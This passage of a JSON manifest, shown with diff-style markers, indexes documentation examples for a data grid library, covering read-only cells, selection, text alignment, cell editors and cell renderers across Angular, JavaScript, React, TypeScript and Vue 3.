"guides/cell-features/read-only-cells/vue/example4.vue", - "file": "guides__cell-features__read-only-cells__vue__example4.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example4", - "exampleTitle": "Make specific cells non-editable", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/example5.ts", - "file": "guides__cell-features__read-only-cells__angular__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example5", - "exampleTitle": "Make a row read-only", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example5.js", - "file": "guides__cell-features__read-only-cells__javascript__example5.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example5", - "exampleTitle": "Make a row read-only", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/example5.tsx", - "file": "guides__cell-features__read-only-cells__react__example5.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example5", - "exampleTitle": "Make a row read-only", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example5.ts", - "file": "guides__cell-features__read-only-cells__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example5", - "exampleTitle": "Make a row read-only", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/vue/example5.vue", - "file": "guides__cell-features__read-only-cells__vue__example5.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example5", - "exampleTitle": "Make a row read-only", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/exampleReadOnlyGrid.ts", - "file": "guides__cell-features__read-only-cells__angular__exampleReadOnlyGrid.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "exampleReadOnlyGrid", - "exampleTitle": "Make the grid read-only", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.js", - "file": "guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "exampleReadOnlyGrid", - "exampleTitle": "Make the grid read-only", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/exampleReadOnlyGrid.tsx", - "file": "guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "exampleReadOnlyGrid", - "exampleTitle": "Make the grid read-only", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.ts", - "file": "guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "exampleReadOnlyGrid", - "exampleTitle": "Make the grid read-only", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/vue/exampleReadOnlyGrid.vue", - "file": "guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "exampleReadOnlyGrid", - "exampleTitle": "Make the grid read-only", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example1.ts", - "file": "guides__cell-features__selection__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example1.js", - "file": "guides__cell-features__selection__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example1.tsx", - "file": "guides__cell-features__selection__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example1.ts", - "file": "guides__cell-features__selection__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example1.vue", - "file": "guides__cell-features__selection__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example2.ts", - "file": "guides__cell-features__selection__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example2", - "exampleTitle": "Get data from the selected ranges", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example2.js", - "file": "guides__cell-features__selection__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example2", - "exampleTitle": "Get data from the selected ranges", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example2.tsx", - "file": "guides__cell-features__selection__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example2", - "exampleTitle": "Get data from the selected ranges", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example2.ts", - "file": "guides__cell-features__selection__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example2", - "exampleTitle": "Get data from the selected ranges", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example2.vue", - "file": "guides__cell-features__selection__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example2", - "exampleTitle": "Get data from the selected ranges", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example3.ts", - "file": "guides__cell-features__selection__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example3", - "exampleTitle": "Modify the selected cells", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example3.js", - "file": "guides__cell-features__selection__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example3", - "exampleTitle": "Modify the selected cells", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example3.tsx", - "file": "guides__cell-features__selection__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example3", - "exampleTitle": "Modify the selected cells", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example3.ts", - "file": "guides__cell-features__selection__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example3", - "exampleTitle": "Modify the selected cells", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example3.vue", - "file": "guides__cell-features__selection__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example3", - "exampleTitle": "Modify the selected cells", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example4.ts", - "file": "guides__cell-features__selection__angular__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example4", - "exampleTitle": "Style the selection area", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example4.js", - "file": "guides__cell-features__selection__javascript__example4.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example4", - "exampleTitle": "Style the selection area", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example4.tsx", - "file": "guides__cell-features__selection__react__example4.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example4", - "exampleTitle": "Style the selection area", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example4.ts", - "file": "guides__cell-features__selection__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example4", - "exampleTitle": "Style the selection area", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example4.vue", - "file": "guides__cell-features__selection__vue__example4.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example4", - "exampleTitle": "Style the selection area", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example5.ts", - "file": "guides__cell-features__selection__angular__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example5", - "exampleTitle": "Select cells programmatically", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example5.js", - "file": "guides__cell-features__selection__javascript__example5.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example5", - "exampleTitle": "Select cells programmatically", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example5.tsx", - "file": "guides__cell-features__selection__react__example5.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example5", - "exampleTitle": "Select cells programmatically", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example5.ts", - "file": "guides__cell-features__selection__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example5", - "exampleTitle": "Select cells programmatically", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example5.vue", - "file": "guides__cell-features__selection__vue__example5.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example5", - "exampleTitle": "Select cells programmatically", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/selection/angular/example6.ts", - "file": "guides__cell-features__selection__angular__example6.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example6", - "exampleTitle": "Jump across horizontal edges", - "docPermalink": "/selection", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example6.js", - "file": "guides__cell-features__selection__javascript__example6.js.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example6", - "exampleTitle": "Jump across horizontal edges", - "docPermalink": "/selection", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/selection/react/example6.tsx", - "file": "guides__cell-features__selection__react__example6.tsx.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example6", - "exampleTitle": "Jump across horizontal edges", - "docPermalink": "/selection", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/selection/javascript/example6.ts", - "file": "guides__cell-features__selection__javascript__example6.ts.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example6", - "exampleTitle": "Jump across horizontal edges", - "docPermalink": "/selection", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/selection/vue/example6.vue", - "file": "guides__cell-features__selection__vue__example6.vue.json", - "breadcrumb": [ - "Cell Features", - "Selection" - ], - "guide": "guides/cell-features/selection/selection.md", - "guideTitle": "Selection", - "exampleId": "example6", - "exampleTitle": "Jump across horizontal edges", - "docPermalink": "/selection", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/text-alignment/angular/example1.ts", - "file": "guides__cell-features__text-alignment__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Text alignment" - ], - "guide": "guides/cell-features/text-alignment/text-alignment.md", - "guideTitle": "Text alignment", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-alignment", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/text-alignment/javascript/example1.js", - "file": "guides__cell-features__text-alignment__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Text alignment" - ], - "guide": "guides/cell-features/text-alignment/text-alignment.md", - "guideTitle": "Text alignment", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-alignment", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/text-alignment/react/example1.tsx", - "file": "guides__cell-features__text-alignment__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Text alignment" - ], - "guide": "guides/cell-features/text-alignment/text-alignment.md", - "guideTitle": "Text alignment", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-alignment", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/text-alignment/javascript/example1.ts", - "file": "guides__cell-features__text-alignment__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Text alignment" - ], - "guide": "guides/cell-features/text-alignment/text-alignment.md", - "guideTitle": "Text alignment", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-alignment", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/text-alignment/vue/example1.vue", - "file": "guides__cell-features__text-alignment__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Text alignment" - ], - "guide": "guides/cell-features/text-alignment/text-alignment.md", - "guideTitle": "Text alignment", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-alignment", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-editor/angular/example1.ts", - "file": "guides__cell-functions__cell-editor__angular__example1.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-editor", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-editor/javascript/example1.js", - "file": "guides__cell-functions__cell-editor__javascript__example1.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-editor", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-editor/react/example1.tsx", - "file": "guides__cell-functions__cell-editor__react__example1.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-editor", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-editor/javascript/example1.ts", - "file": "guides__cell-functions__cell-editor__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-editor", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-editor/vue/example1.vue", - "file": "guides__cell-functions__cell-editor__vue__example1.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-editor", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-editor/angular/example2.ts", - "file": "guides__cell-functions__cell-editor__angular__example2.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example2", - "exampleTitle": "Class-based editors", - "docPermalink": "/cell-editor", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-editor/javascript/example2.js", - "file": "guides__cell-functions__cell-editor__javascript__example2.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example2", - "exampleTitle": "Class-based editors", - "docPermalink": "/cell-editor", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-editor/react/example2.tsx", - "file": "guides__cell-functions__cell-editor__react__example2.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example2", - "exampleTitle": "Class-based editors", - "docPermalink": "/cell-editor", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-editor/javascript/example2.ts", - "file": "guides__cell-functions__cell-editor__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example2", - "exampleTitle": "Class-based editors", - "docPermalink": "/cell-editor", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-editor/vue/example2.vue", - "file": "guides__cell-functions__cell-editor__vue__example2.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example2", - "exampleTitle": "Class-based editors", - "docPermalink": "/cell-editor", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-editor/angular/example3.ts", - "file": "guides__cell-functions__cell-editor__angular__example3.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example3", - "exampleTitle": "Extending an existing editor", - "docPermalink": "/cell-editor", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-editor/react/example3.tsx", - "file": "guides__cell-functions__cell-editor__react__example3.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell editor" - ], - "guide": "guides/cell-functions/cell-editor/cell-editor.md", - "guideTitle": "Cell editor", - "exampleId": "example3", - "exampleTitle": "Extending an existing editor", - "docPermalink": "/cell-editor", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example1.ts", - "file": "guides__cell-functions__cell-renderer__angular__example1.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example1.tsx", - "file": "guides__cell-functions__cell-renderer__react__example1.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/vue/example1.vue", - "file": "guides__cell-functions__cell-renderer__vue__example1.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-renderer", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example2.ts", - "file": "guides__cell-functions__cell-renderer__angular__example2.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example2", - "exampleTitle": "Use the renderer component within React's Context", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example2.tsx", - "file": "guides__cell-functions__cell-renderer__react__example2.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example2", - "exampleTitle": "Use the renderer component within React's Context", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/vue/example2.vue", - "file": "guides__cell-functions__cell-renderer__vue__example2.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example2", - "exampleTitle": "Use the renderer component within React's Context", - "docPermalink": "/cell-renderer", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example3.ts", - "file": "guides__cell-functions__cell-renderer__angular__example3.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example3", - "exampleTitle": "Declare a custom renderer as a function", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example3.tsx", - "file": "guides__cell-functions__cell-renderer__react__example3.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example3", - "exampleTitle": "Declare a custom renderer as a function", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example4.ts", - "file": "guides__cell-functions__cell-renderer__angular__example4.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer as a function (2)", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example4.js", - "file": "guides__cell-functions__cell-renderer__javascript__example4.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer as a function (2)", - "docPermalink": "/cell-renderer", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example4.tsx", - "file": "guides__cell-functions__cell-renderer__react__example4.tsx.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer as a function (2)", - "docPermalink": "/cell-renderer", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example4.ts", - "file": "guides__cell-functions__cell-renderer__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer as a function (2)", - "docPermalink": "/cell-renderer", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/vue/example4.vue", - "file": "guides__cell-functions__cell-renderer__vue__example4.vue.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer as a function (2)", - "docPermalink": "/cell-renderer", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/angular/example5.ts", - "file": "guides__cell-functions__cell-renderer__angular__example5.ts.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example5", - "exampleTitle": "Render custom HTML in cells", - "docPermalink": "/cell-renderer", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/javascript/example5.js", - "file": "guides__cell-functions__cell-renderer__javascript__example5.js.json", - "breadcrumb": [ - "Cell Functions", - "Cell renderer" - ], - "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", - "guideTitle": "Cell renderer", - "exampleId": "example5", - "exampleTitle": "Render custom HTML in cells", - "docPermalink": "/cell-renderer", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-functions/cell-renderer/react/example5.tsx", - "file": 